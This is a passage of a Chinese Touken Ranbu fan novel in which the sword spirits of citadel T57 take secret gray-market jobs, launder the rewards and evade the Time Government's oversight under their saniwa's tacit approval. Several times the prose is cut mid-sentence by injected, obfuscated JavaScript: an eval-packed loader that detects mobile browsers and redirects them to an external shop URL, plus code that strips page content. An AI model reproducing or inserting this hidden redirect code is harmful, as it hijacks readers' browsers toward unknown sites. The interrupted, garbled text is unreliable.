“提高效率意味着我们需要挑战更高难度的地图,风险与收益并存,但按照我们现在这个状态来看并不可行。”一文字则宗的目光扫过山姥切国广和药研藤四郎,语气中充满意味深长,“时政是否允许像我们这样的本丸在完成基本日课的前提下接取一些‘兼职’性质的委托?” 山姥切国广和药研藤四郎两刃对视一眼,都看到了对方眼中的凝重,他们明白一文字则宗的意思,也明白他口中所谓的“兼职”委托指的就是绕过时政正规渠道,在“灰色地带”甚至“黑市”接取的任务。 这类委托往往报酬更高,也伴随着更高的风险——不仅是任务本身的风险,更是被时政发现后可能面临处罚的风险,更何况在本丸拥有正式审神者后这种行为是明令禁止的,更不要说本丸内本身就有一个退休监察官的存在了。 山姥切国广下意识攥紧了膝上的布料,将自己包裹的更加严实,兜帽下的声音低沉:“你的意思是我们私下接活?” “山姥切殿,我们只是在探讨一种可能,时政的规矩是死的,而我们处境是活的。”一文字则宗“唰”地打开折扇,轻轻摇动,仿佛要扇走空气中的滞闷,但他狭长的眼眸中并无笑意。 “规则禁止本丸在拥有审神者后接取外部任务换取资源是建立在‘审神者能提供充足灵力与资源支持日常运作’这一前提上的,如今我们的情况似乎并不完全符合这个前提。” 药研藤四郎提出了反对的意见:“风险极高,一旦被时政监察部门或狐之助发现上报,本丸可能面临审查、降级甚至更严厉的处罚,大人初来乍到,根基未稳,这会给她带来巨大麻烦。” “资源枯竭是我们迫在眉睫的麻烦,药研殿。”一文字则宗用扇骨轻点着桌面上的清单,“主上看似放权于我们,实则是在观望。” “她提供了初始资源,也默许了我们管理本丸,这既是对我们的信任,也是一场考验。若我们连维持本丸基本运转都做不到,谈何未来?” “届时,时政会不会以‘管理不善、资源耗尽’为由介入,甚至质疑主上大人的能力?或者说的再严重一点儿,时政会不会以此为由将所有的中转本丸、二手本丸完全取缔?” 在介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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没有明确赞同,但也没有明确反对,这几乎就是源朝曦给予他们的一种默许,将权衡利弊与执行的风险完全交给了一文字则宗三刃。 天守阁随着三刃的离去而重归寂静,源朝曦依旧保持着静坐的姿势,她给予三刃的默许并非全然的放任,而是一场更深入的观察。 这场资源的危机将会变成试金石,足以检验出这三位管理者的器量、手段与底线,也让源朝曦能看清这振一文字则宗究竟能为本丸带来多少“意外之喜”,至于他们可能弄出的什么烂摊子,她暂时还没有遇到自己处理不了的。 就在山姥切国广三人于那间临时办公室继续低声商议时,一道紫黑色的细影悄无声息地自天守阁梁上游下,顺着阴影的缝隙滑出门外,融入渐深的夜色中。 这细微的动静几乎让人难以察觉,却让正巧经过回廊的药研藤四郎脚步几不可查地顿了一下,他推推眼镜,目光扫过天守阁紧闭的门扉和空荡荡的檐角,心中掠过一丝疑虑:刚刚离去的似乎是最近一直随队出阵的宵雾? 17.第十七章 宵雾的悄然离去并未引起太多注意,毕竟这条蛇行踪不定早已是本丸刀剑们心照不宣的事实,更不要说药研藤四郎也不确定自己究竟有没有看错。 山姥切国广、药研藤四郎与一文字则宗在临时充当办公室的部屋内面对着那份触目惊心的资源清单,陷入了更深沉的讨论。 “主上的态度你们也听到了,‘不冒头也不落后’、‘不留烂摊子’。”一文字则宗用扇骨轻点着桌面,发出规律的轻响,“这是底线,也是大人默许的空间。” “所以现在的关键在于尺度,我们需要的是在规则边缘游走而不越界,获取资源而不被抓住把柄。” 山姥切国广拉低了兜帽,声音从布料下面传来:“以前为了活下去,我们也不是没做过。” 山姥切国广指的是那段没有审神者、全靠自己挣扎的岁月,那时的T57本丸如同被遗忘的孤岛,时政供给的资源完全不够大量刀剑日常活动所需的资源,为此刀剑们不得不接取一些游走在灰色地带的委托,用性命去博取那点微薄的资源,以维持本丸最基本的运转不至崩溃。 那是一段谁也不愿意多提,却深深烙印在每一振留守刀剑记忆里的时光。 药研藤四郎推推眼镜,镜片后的目光冷静而锐利:“但那时我们没有正式的审神者,时政对我们的监管相对松散,现在情况不同,我们有了登记在册的审神者,任何越界的行为都可能被放大。” 说着,药研藤四郎的目光扫过一旁的一文字则宗:“更不要说我们中间还有一位前监察官,时政会不会因此加强对我们的监视还未可知。” 一文字则宗轻笑一声:“正因如此,我们才更加需要谨慎和技巧,我之前的工作让我对时政监察的漏洞和某些潜在的‘合作渠道’略有了解。“ 一文字则宗的话中留白,但山姥切国广和药研藤四郎都听懂了其中的暗示,作为前监察官,他不仅知道规则怎么写,更清楚规则在执行中的弹性与缝隙在哪里。 “我们需要筛选委托,不能危及历史修正的大原则,目标最好是那些游离在时政管辖边缘但又确实需要武力解决的‘小麻烦’。” “报酬必须是以资源或稀有材料结算,避免直接涉及甲州金或小判,减少被追踪的风险。” “接取任务的渠道必须足够隐蔽,最好通过中间人,并且不能固定。”药研藤四郎继续补充道。 “执行任务的队伍必须精简,人员要可靠,实力足够,口风严密,且每次任务后要有足够的‘冷却期’,不能频繁行动引起注意。” “任务执行过程要干净利落,不留痕迹,在回归本丸后,我们所获得的资源需要‘洗白’。”一文字则宗将扇子点在清单上的“资源消耗”一项上。 “在这一点上,我们可以通过分批、混合日课收入等方式逐步入库,狐之助那边我们也需要确保它‘看到’的使我们想让它看到的。” 三刃你一言我一语,迅速构建起一个粗糙但可行的框架,这并非是他们的一时冲动,而是生存压力下的必然选择,也是过往经验与当下形势碰撞出的火花,他们清楚其中的风险,但更清楚坐等资源枯竭的后果。 “那么,接下来我们的任务就是说服本丸里的其他人了。”一文字则宗站起身,恢复了那副从容的姿态,“这需要开诚布公,瞒着所有人行动的隐患更大。” 药研藤四郎点点头,赞成一文字则宗的说法:“尤其是需要出阵的几位,狮子王殿、小狐丸殿、太郎殿、次郎殿还有静形殿,他们的战力是我们目前不可或缺的。” “和泉守殿虽然有时候会跳脱一点,但在战斗方面还是十分值得信任的,但最重要的一点是参与这件事情的刃必须自愿,并且明白其中的利害关系。” 山姥切国广沉默片刻,点点头:“我去召集大家,就在手合室吧,那里宽敞些。” 这场有关在资源危机到来前他们要如何开源的会议是在晚餐后进行的,日常用于手合的手合室已经被简单收拾出来,二十余振刀剑或坐或站,室内的气氛与平日完成日课后的松散截然不同,反而弥漫着一种沉凝的肃穆。 山姥切国广、药研藤四郎与一文字则宗三刃站在最前方,被搬来的矮桌上摊开着那份资源清单的副本。 山姥切国广没有像往常那样可以拉低兜帽,虽然他的表情依旧被阴影遮掩住大半,但他的声音依旧清晰地将本丸目前面临的资源困境以及他们三人商讨出的“拓宽渠道”方案——虽未明言,但所有刃都心知肚明那意味着什么——和盘托出。 山姥切国广没有掩饰严峻的现实,也没有美化其中的风险。 而随着山姥切国广的话音落下,手合室内一片寂静,只有烛火燃烧时产生的偶尔噼啪爆出灯花的声响。 率先打破这份沉默的是狮子王,这位在众多审神者的印象中一直是一个活泼可爱、积极向上的太刀难得的眉头紧锁,怀抱着鵺:“接‘私活’?这个风险太大了,万一被时政发现,本丸很可能会被降级,但我们现在还是一个临时本丸,极有可能会被强制解散。” “审神者大人她知道这件事吗?她允许我们这么做?”狮子王的担忧很实际,也代表了相当一部分刀剑的顾虑,他们渴望改变现状,但更怕失去这刚刚看到一丝安稳迹象的“家”。 “主上知晓我们的难处。”一文字则宗摇着扇子,语气平和却带着不容置疑的分量,“她的原话是,‘只要最终结果——本丸稳定发展,既不冒头也不落后,日课完成,诸君无虞’。” “至于过程,交由我们自行斟酌。这,便是默许。”一文字则宗的目光扫过众刃,“当然,一切的前提是‘不留烂摊子’,这意味着我们要做得干净,要控制风险。” “也就是说审神者大人把选择权交给了我们?”小狐丸甩甩自己白色的长发,赤红色的眼睛中闪过思索,“是继续守着这点儿资源熬日子,眼看仓库见底,还是选择搏一把?” “没错。”药研藤四郎接过话头,“坦白说,按照目前的消耗速度,若无额外进项,最多两月本丸的日常运转就会陷入停滞。” “届时,不仅出阵、远征无法维持,连基本的修复和刀装补充都成问题,诸位应该都记得,没有稳定灵力供给、仅靠劣质灵力球勉强维持的日子是什么滋味。” 药研藤四郎的话像一把钥匙,瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那么报酬和分配呢?”次郎太刀晃晃手中早就已经空空如也,并且长时间没有得到过补充的酒壶问道,他看似慵懒,但却问到了关键。 “报酬以玉钢、砥石等基础资源,或特定修复材料、御守等实物为主,避免货币痕迹。”药研藤四郎早有准备。 “所得资源在扣除任务必要消耗后,五成归公,补充本丸仓库;三成作为任务参与者的额外‘补贴’,可用于个人刀装维护或换取所需;两成作为风险储备金,由我统一管理,用于紧急情况。所有账目公开,接受监督。” 这个分配方案考虑到了集体与个人的利益,也预留了风险缓冲,听起来相对公平,不少刀剑脸上的疑虑稍减。 “我有个问题,审神者大人真的完全不管吗?如此重要且危险的决定,她只是‘默许’?那位大人,似乎比我们想象中,更加深不可测呢。” 这个问题让手合室再次安静下来,所有刃,包括山姥切国广、药研藤四郎和一文字则宗都不得不再次思考源朝曦的真正意图,她放任他们走到这一步,是真的信任还是一种更深的考验?或者,她根本不在意过程,只看结果? 就在这时,一直盘踞在手合室横梁阴影处的宵雾似乎觉得这场会议太过冗长无聊,轻轻动了一下,细微的鳞片摩擦木头的窸窣声在寂静的室内格外清晰。 所有刃的目光下意识地向上瞟去,看到了那双在昏暗光线中幽幽闪烁的金色竖瞳。 宵雾的存在就像是一个无声的提醒——无论他们在这里讨论什么,做出什么决定,那位看似不闻不问的审神者或许并非全然不知情。 18.第十八章 手合室内的会议最终在一阵复杂而又压抑的共识中落下帷幕,会议的结尾没有欢呼,没有激昂的宣誓,只有沉默的点头和交换意见的沉重目光,所有刃都明白,这看似是给予他们的“选择”,实则是“必然”。 在生存面前,过往那些在灰色地带挣扎的记忆被重新唤醒,只是这一次的他们头顶多了一位态度暧昧的审神者,身边多了一位身份敏感的前监察官,肩上则多了一份不愿让这丝微弱火光熄灭的责任。 山姥切国广、药研藤四郎和一文字则宗动作迅速地成立了“三刃决策小组”,负责筛选委托、制定计划和调配人手。 一文字则宗的事情还有更多一点儿,他凭借对时政规则漏洞的了解和某些不便明言的“渠道”,自然成为了连接本丸与外部“需求”的关键桥梁。 整个行动的磨合首先从“三刃决策小组”的内部开始。 山姥切国广和药研藤四郎俩刃作为本丸的“旧”管理者,行事风格更偏向务实和谨慎,他们熟悉每一振刀剑的状态,对资源的精打细算已经刻入本能。 而一文字则宗则带来了更开阔,或者说更冒险的视野和更灵活,或者说更游走于规则边缘的手段,他们之间的这种差异在最初的计划制定中就显露出来。 “这个委托的目标是清理一处因为时间震荡而意外显形、骚扰附近村庄的低级时间溯行军残部,报酬是五十份玉钢和三十份砥石。” 一文字则宗一文字则宗用扇尖虚点着面前一份由特殊加密方式传递来的信息——信息载体是一片看似普通的落叶,只有按照特定的纹路用灵力激发才能显现内容。 “发布者代号‘小神社’,资金来源‘不可考’,但是这位发布者的信誉尚可,过往几次类似委托都按时支付了报酬。” 药研藤四郎眉头紧锁:“地点在战国时代的一个边缘村落,时代敏感性中等,但任务上给出的‘清理残部’的说法模糊,如何界定‘清理完毕’?” “会不会有后续纠缠?报酬要如何支付?而且五十份玉钢和三十份砥石报酬相对于可能的风险并不算特别丰厚。”药研藤四郎习惯性地评估着性价比和潜在隐患。 山姥切国广拉紧兜帽,兜帽下的目光看向一文字则宗:“委托方身份不明就是最大的风险,以前我们接活至少中间人多多少少都是知根知底的,但现在这条线……” 山姥切国广的话虽然没有说完,但药研藤四郎和一文字则宗还是很快就明白他的意思了。 一文字则宗摇晃着手中的折扇轻笑,姿态悠闲地仿佛在和其他人讨论今天的天气怎么样:“山姥切殿的顾虑很有道理,不过正因为我们有了主上,有了正式的编号,某些我们以前不敢碰、也接触不到的‘优质’灰色委托现在反而有了尝试的余地。” “这条渠道它来源于某位同僚,对方偶尔会介绍一些‘背景干净’但‘官方不便直接插手’的小麻烦。” “至于界定标准,任务描述是‘驱离或者歼灭’,我们只需要达成任务目标,待会足以证明任务完成的影像即可,不会有过多的后续接触。” 一文字则宗顿了顿,看向山姥切国广两刃:“我知道二位习惯了将风险压到最低,但如今我们要解决的是迫在眉睫的资源危机,过于谨慎的话可能错失良机。” “时政官方对于这类游离在历史修正边缘的‘民间请求’向来是只要不闹大、不触及核心历史,通常情况下都是默许的甚至乐见其成的——这等于节省了他们的基层人力。” “而我们要做的是在‘默许’的范围内高效、干净的解决问题,换取我们需要的资源。” 山姥切国广沉默片刻后再度开口:“那我们来考虑一下人选,这次的任务需要隐蔽、快速,战力足够但不宜过多。” “我带队,药研殿随队负责侦查和应急治疗,骨喰殿机动性强且沉默可靠,次郎殿正面战斗力充足,小狐丸殿兼具敏捷与力量,至于青江殿,他的逸闻或许有助于我们辨别异常,我们五人一队应该足够应对描述中的情况。” “出阵的时候需要伪装,不能使用有明显的本丸标识的服饰或者道具。”药研藤四郎补充道,但说完后他反应过来这一条好像他们暂时不需要注意,临时本丸本身就不会有这种东西,而审神者大人到来后也没有说过准备这类东西,但也有可能是还没想起来要准备或者是根本就不知道要准备。 见没人发现自己的停顿,药研藤四郎继续补充:“任务时间最好选在完成日常日之后,利用‘自由活动’时间进行,往返需严格控制,最好能在下次日课集合前返回,补给只携带必要刀装和少量应急资源,轻装简行。” 一文字则宗点头赞成:“这个安排十分合理,我会负责与渠道确认相关细节,准备接受报酬的方式和地点。” “另外,此次行动主上虽未明示,但宵雾阁下很可能如往常出阵一般跟随,诸位需要做好心理准备。”一文字则宗合上手中的折扇说。 想到那条神出鬼没、金瞳似乎能洞悉一切的紫鳞蛇,山姥切国广和药研藤四郎都感到一丝无形的压力,这意味着他们的行动大概率仍在审神者的注视下。 第一次的“额外创收”行动就在这种谨慎而高效的筹备中展开了,被选中的几刃在得知具体安排后反应各异。 骨喰藤四郎只是沉默地点点头,双眼中并无太多波澜,对他而言,这不过是延续过往生存方式的一种“必要”,只是如今披上了一层更为“正式”与“集体决策”的外衣。 小狐丸甩甩自己蓬松的白色长发,赤红的眼瞳中闪过一丝锐利与兴味:“在规则边缘狩猎吗?倒是很符合狐的习性,既然是为了本丸的存续,我自当尽力。” 笑面青江则低低笑出声,指尖拂过胁差的刀镡,语气一如既往地带着点暧昧不明的意味:“深入险境,获取资源……听起来就像是某种需要保密的地下幽会呢。不过,既然主上默许,山姥切队长和则宗殿又有安排,我自然奉陪。” 次郎太刀晃晃已经空了很久的酒壶,叹了口气:“没有美酒助兴的任务,真是少了几分风情啊。不过,既然是男人该做的事情,那就没办法了。” 行动当日,在完成规定的日课出阵、远征和内番后,山姥切国广最后确认了一遍任务信息和一文字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831653|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则宗提供的接应信息:“路线、目标、接应方式都记清楚了。” “此次行动,以驱离或歼灭目标为首要,获取报酬为次要,一切以安全、隐蔽为最优先。如遇不可控风险,立即撤退,由我断后。明白了吗?” “是。” 就在队伍即将出发时,一道紫黑色的影子悄无声息地从廊檐垂下,落在了山姥切国广的脚边——正是宵雾。 它仰起头,金色的竖瞳平静地扫过整装待发的六刃,尾巴尖轻轻摆了摆,催促众刃快点儿继续行动,然后便自发地游动到队伍侧后方,盘踞起来,一副“我跟定了”的姿态。 山姥切国广嘴角几不可查的抽动了一下,但因为早就对此有心理准备,便并未多言:“出发。” 战国时代的边缘村落景象荒凉,虽然时间溯行军的残部数量不多,但骚扰村民、毁坏田舍,对当地人的日常生活造成了切实的困扰。 这场战斗本身并不艰难,山姥切国广指挥得当,几刃虽久未配合此类特殊清扫任务,但个体实力和战斗本能尚在,很快便将那些低级的、如同散兵游勇般的敌短刀、敌胁差清理干净。 整个过程顺利的甚至有些平淡,但就在他们收集完任务凭证准备撤离时,意外发生了——另一只同样穿着遮掩身份的装束的队伍,从村落另一个方向出现,似乎也完成了某种“清理”工作,双方在村外的树林边缘不期而遇。 现场气氛瞬间紧绷起来,双方都下意识地握紧本体,警惕地打量着对方。 来者的人数也是五六人左右,装扮陈旧甚至有些破损,灵力波动带着一种熟悉的、长期缺乏稳定供给的滞涩感,眼神中混杂着警惕、疲惫和一丝不易察觉的锐利。 那是同类的气息——同样挣扎在时政体系边缘,为了生存而奔波的存在。 短暂的僵持后,对方队伍中一个看似领头、用布巾遮住下半张脸的打刀率先开口,声音沙哑:“T57的?” 山姥切国广心中一凛,兜帽下的视线锐利起来,对方能认出他们?还是仅仅从装束和气息判断出是“同类”? 药研藤四郎上前半步,冷静回应:“路过,处理点儿小麻烦,阁下是?” “哼,一样。”对方领队似乎无意深究,目光扫过他们,尤其在注意到狮子王太刀和小狐丸明显的特征时顿了顿,“看来你们也找到了‘新路子’,祝好运,别被逮到。” 说完,对方也不等山姥切国广他们回应,便带着队员迅速消失在树林另一头,动作干脆利落,带着一种长期在边缘游走练就的警觉和疏离。 这次意外的遭遇像一面镜子让山姥切国广更清晰地看到了T57本丸过去以及现在正在走的路,不同的是他们如今有了凤黯大人,有了看似放任实则或许别有深意的默许以及一条盘踞在附近树枝上正懒洋洋甩着尾巴尖的小蛇。 宵雾果然跟来了,而且似乎对刚才那场意外的相遇并无特别反应,只是金色的竖瞳静静注视着那支队伍消失的方向,片刻后,又将目光转回山姥切国广他们身上。 “回去。”山姥切国广压下自己心头复杂的情绪,下令撤离。 19.第十九章 回程路上的气氛有些沉默,与那支陌生队伍的偶遇像一块沉甸甸的石头压在众人的心头,也验证了山姥切国广等人之前的猜测——在时政光鲜的规则之下确实存在着这样的一个世界,有许许多多像T57这样的本丸在其中挣扎求生。 宵雾依旧像最开始那样不远不近地跟在队伍的侧后方,,它对刚才那场短暂的遭遇和此刻队伍的沉闷氛围都显得漠不关心一样,它金色的竖瞳偶尔扫过周围茂密的树林,仿佛只是在警惕着可能出现的危险。 这支队伍回到本丸时已是深夜,山姥切国广没有惊动其他人,带着队伍和一文字则宗、药研藤四郎直接来到了那间临时的办公室。 报酬的交接由一文字则宗通过预留的特殊渠道完成,整个过程十分顺利,五十份玉刚和三十份砥石被秘密运回,暂时存放在一个只有他们三人和参与行动的几刃才知道的隐蔽角落。 这次任务的顺利执行和资源的获得像是一剂强心剂,也像是一把悬在所有刃头顶的达摩克利斯之剑,让参与其中的刀剑们心情复杂,但不管怎么说,有一点是确定的——他们所有刃都别无选择。 在队伍安全返回本丸后,宵雾便悄无声息地游回天守阁,重新盘踞在静坐调息的源朝曦身边,并将今夜的所见所闻统统传递给对方。 源朝曦缓缓睁开眼,灰蓝色的眼眸在黑暗中映着窗外微弱的星光,通过宵雾她“看”到了那场算不上激烈的战斗,也“看”到了那场意外的相遇,更“感知”到了山姥切国广等人归来后那份混合着如释重负与更深忧虑的复杂心绪。 “灰色地带吗?“源朝曦低声自语,指尖无意识地抚过宵雾身上冰凉的鳞片,对于曾经在权利漩涡中心周旋、见过无数光鲜之下阴暗交易的她而言,这完全不让人感到意外。 时之政府作为一个庞大而臃肿的跨时空组织,其内部必然会存在各种缝隙和灰色地带,而资源短缺、生存艰难的“边缘本丸”自发形成的地下经济链更实在自然不过的事情。 源朝曦甚至能理解时政对此睁一只眼闭一只眼的态度——只要不触及时政的核心利益、不过分破坏规则的表象,这些“小打小闹”反而能缓解一部分底层压力,维持一种微妙的平衡。 但源朝曦完全没想到的是,这个世界的时政对“二手本丸”的漠视竟然到了如此的地步,逼得刀剑们不得不长期游走于此。 “宵雾,你觉得他们做得如何?”源朝曦轻声询问。 “嘶嘶。(能力尚可,但整体来说还是比较生疏,有潜力,但仍需要继续观察)”宵雾甩甩尾巴尖,回到了源朝曦的问题。 源朝曦微微颔首,这群刀剑在第一次尝试的时候就能够安全带回资源、处理干净首尾,已经算得上是合格。 更重要的是,源朝曦在这一次的过程里面看到了山姥切国广的决断、药研藤四郎的周密、一文字则宗的渠道与手腕以及参与刀剑们的执行力,这个临时的“三刃决策小组”和她选择的“润滑剂”一文字则宗已经初步展现了他们的价值。 但这还远远不够,仅仅解决燃眉之急并非长久之计,源朝曦需要这个本丸在“规则内”也拥有稳定的造血能力,这样才能真正站稳脚跟,为她提供持续恢复的环境和未来可能的助力,并且在她离开这个世界后这群刀剑们也能生活的很好。 第一次“灰色任务”的顺利完成与资源的入账暂时缓解了本丸内的紧张气氛,像是一颗投入潭水的石子,在本丸平静的表象下激起了一圈圈扩散的涟漪。 资源实实在在的增加了,仓库里那触目惊心的数字得到了增长,但一种更微妙的氛围却在刀剑男士们之间悄然弥漫。 山姥切国广、药研藤四郎与一文字则宗组成的“三刃决策小组”运作逐渐步入正轨,在有了第一次的经验后,后续几次有针对性的、风险可控的“兼职”委托接踵而来。 一文字则宗提供的渠道确实可靠,提供的任务多是“清理历史夹缝中滋生的低级时间残秽”、“驱赶因时空波动误入居民区的弱小精怪”或是“协助某位不愿透露姓名的历史学者‘取回’散落在非关键节点的小物件”。 获得的报酬也多是基础的玉刚、砥石、冷却材,偶尔也会获得一些并不算紧缺的木炭,虽然数量都不算巨大,但胜在稳定,并且他们每一次的任务都完成得十分干净利落,没有留下任何可供追踪的尾巴。 资源短缺的燃眉之急在这样小心翼翼的“开源”之下得到了显著的缓解,至少刀剑们的日常收入、基础刀装制作不再需要他们精打细算到个位数,餐食里也偶尔能见到一点新鲜的、由药研藤四郎在清理出的田垄边角试验性种出的野菜。 一种不同于往日里纯粹的绝望挣扎,也不同于最初几日因审神者的到来而产生的不安与期待交织而成的、更加复杂的“新常态”开始在T57本丸逐渐形成。 而在这种“新常态”中,一文字则宗的存在感正在以一种独特而不可或缺的方式增强着。 这位总是摇晃着折扇、面带让人捉摸不透笑意、一直称自己是一个退休的老家伙的太刀不再仅仅是一个“前检察官”的符号或者是审神者指定的“润滑剂”,他成为了“三刃决策小组”中那个负责连接内外、处理“规则之外”事务的关键枢纽。 山姥切国广负责本丸的决策与战斗指挥,药研藤四郎负责内务与后勤保障,而一文字则,则负责让那些游走于灰色地带的“额外收入”成为可能,并且安全地转化为本丸可用的资源。 一文字则宗的价值首先体现在他对规则的精准把握和灵活运用上。 “时政的日课报告、出阵记录、远征记录、内番安排乃至资源流水都必须逻辑自洽,经得起最基础的核对,但逻辑自洽不等于分毫不差。”一文字则宗在临时办公室内对着山姥切国广和药研藤四郎俩刃,用扇尖虚点着他亲自整理出的文书模板。 “比如说出阵损耗的刀装数量可以有一个合理的浮动区间;远征带回的资源种类偶尔与标准清单略有出入,只要不超出常识范围,且本丸整体资源波动曲线正常,狐之助和它背后的监察系统,就不会深究” “他们没那么多人力物力对每一个运转‘正常’的本丸进行微观审计,尤其是我们这种刚刚‘步入正轨’、又有前监察官‘辅助’的本丸。” 如何将“额外”获得的资源通过合理的“损耗”、“自然增长”、“任务奖励浮动”等名义,悄无声息地混入日常账目;如何在填写报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836108|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告时,用模糊但正确的语言掩盖掉一些不必要的细节;甚至如何与狐之助进行“友好”但保持距离的交谈,既不过分热络引起警惕,也不过于冷淡招致怀疑。 “则宗殿似乎对时政的运作非常熟悉。” “毕竟曾经身处其中,老头子已经见过太多本丸的起起落落了,而且时政的规矩是死的,但执行规矩的人和系统却是活的。” 虽然一文字则宗没有深入解释自己为何熟悉,但山姥切国广和药研藤四郎都听出了弦外之音——这位前监察官见过的“活”案例恐怕不少,其中自然包括各种在规则边缘游走、甚至越界的本丸,而这份经验如今成了T57本丸的“财富”。 其次,一文字则宗展现了他出色的协调与掌握人心的能力。 本丸的刀剑们对这种灰色地带的行动心态是复杂的,有跃跃欲试的,也有始终对潜在风险抱有忧虑的,更有似乎对任何打破常规之事都隐含着某种异样兴趣,却从不轻易表态的。 但一文字则宗总能恰如其分地安抚不同情绪,更重要的是,他在与刀剑们的日常相处中逐渐消弭着那份因“前监察官”身份而产生的天然隔阂。 一文字则宗用这种细腻的、因人而异的接触方式慢慢改变着刀剑们对他的观感,他不再是那个高高在上、代表着时政规则与可能的威胁的“前监察官”而逐渐变成了“则宗殿”——一个虽然神秘、难以捉摸,但确实在为本丸的生存与发展尽心尽力并且懂得尊重每一振刀剑的“同伴”。 而这一切源朝曦都通过宵雾“看”在眼里,她对一文字则宗的表现颇为满意。 此刃不仅有能力在规则边缘为本丸谋取利益,更懂得如何融入群体、化解潜在矛盾,其手腕之圆融老练远超源朝曦最初的预期,有这样一振刀在明面上协调处理这些琐碎而关键的人际与事务,她确实能更专心地恢复实力。 资源危机暂时缓解,本丸内部的磨合也初见成效,T57号本丸的运转逐渐有了一丝步入正轨的模样,这一日,在完成了又一轮的日课汇报后,一文字则宗摇晃着手中的扇子,提出了一个新的建议。 “诸位,近日大家辛苦了,不过托诸位之福,本丸的资源状况已初步稳定。”一文字则宗环顾着聚集在手合室进行日常小结的刀剑们,笑容可掬,“或许,我们可以考虑去一趟万屋了。” “万屋?”不少刀剑都露出讶异的神色,对他们而言,万屋是记忆中遥远而模糊的存在,是那些灵力充沛、资源丰富的“正常”本丸才常去的地方,而T57本丸在漫长的“放养”岁月里几乎与那里绝缘。 “是的,万屋。”一文字则宗点头,“我们需要补充一些日用品,另外一些基础的调味料的补充乃至一些能够提升士气的小物件也该考虑起来了,总是紧绷着弦不利于长久。” “而且一个正常运转的本丸定期前往万屋采购本身就是合理的行为,这不仅能实际改善我们的生活,也能向外界——尤其是时政和可能关注我们的存在——传递一个信号:T57本丸,正在逐步恢复常态” 这个理由打动了山姥切国广和药研藤四郎,改善生活是其一,向外展示“正常化”进程,避免外界不必要的关注或者猜疑则更为重要。 20.第二十章 “万屋啊……”加州清光下意识地摸了摸自己指甲上那斑驳不堪的红色,眼中闪过一丝复杂的神色,“确实有些东西是该补充一下了。” 对于许多久困于此的刀剑男士而言,“万屋”二字所代表的早已不知是一个购物场所,更是一种象征——象征着那些灵力充沛、资源丰裕、秩序井然的“正常”本丸所享有的、他们几乎已经遗忘的或者是未曾享受过的“日常”。 短暂的惊讶与骚动后,一种复杂的情绪在刀剑们中间弥漫开来,期待自然是有的,毕竟这意味着本丸的境况确实得到了改善,他们现在有了“余裕”去考虑生活品质而不仅仅是生存。 但与此同时,不安与忐忑也如影随形般跟随着他们,他们十分清楚自己本丸的家底到底有多么寒酸,也明白在万物那种地方T57本丸的现状可能会暴露无遗,引来或好奇、或怜悯、或鄙夷的目光。 更重要的是此行关乎T57本丸的“形象”,一文字说得对,这是向外界展示T57本丸正在“恢复常态”的机会,但若处理不当,T57本丸也可能会成为笑柄甚至引来不必要的关注。 经过众刃的仔细商议,最终确定了前往万屋的人选——一文字则宗、堀川国广、前田藤四郎、平野藤四郎、次郎太刀与加州清光。 他们各有各的优点——一文字则宗作为领队与对外交涉的主要负责人,他前监察官的身份和圆滑的处事方式在应付外界时最为合适;堀川国广心思细腻,擅长辅助与观察。 前田藤四郎与平野藤四郎作为粟田口派的短刀性格沉稳且在这些年的历练中对物资清点、价格比较颇有心得;次郎太刀力大沉稳,可负责搬运较重物资;加州清光则对时尚和可爱之物有着天然的敏感度,或许能在采购日常用品时提供不同视角。 名单被公布出来后,被选中的几刃反应各异,一文字则宗摇晃着手中的扇子,笑眯眯的应承下来,仿佛这只是次寻常的外出;堀川国广认真地点点头,已经开始在心中罗列出可能需要的采购清单。 前田藤四郎和自己的双胞胎兄弟对视一眼,默契地靠到药研藤四郎身边,与对方开始低声讨论起来本丸目前最急需的物资。 次郎太刀晃晃自己早已变成自己装饰品的酒壶,虽然知道按照本丸现在的状况也不太可能会为他填充酒壶,但还是忍不住叹了口气:“看来还是没有美酒啊。” 加州清光则仔细检查着自己手上变得斑驳的红色指甲油,嘟囔着:“希望万屋有好看的指甲油,不过按照本丸现在的财政状况来看,我大概也就只能看看了,这样可就变得不可爱了啊。” 决定前往万屋后的准备工作在一种微妙的氛围众展开。 药研藤四郎与山姥切国广、堀川国光、前田藤四郎、平野藤四郎几刃反复核对这清单,确保每一笔的预算都能够被花在刀刃上。 清单上罗列出来的多是生存的必需品——最基础的调味料、修补衣物被褥的针线布料、最基础的清洁用品以及少量价格低廉但能提升些许生活品质的物件,比如说几盒最普通的点心。 “预算很紧。”药研藤四郎推推眼镜,指尖划过清单末尾那个令人窘迫的数字,“必须优先保障生活物资,至于装饰品、娱乐用品等暂时不在考虑范围内。” “能去万屋就已经是一个很大的进步了。”山姥切国广低声道,手指无意识地攥着兜帽的边缘。 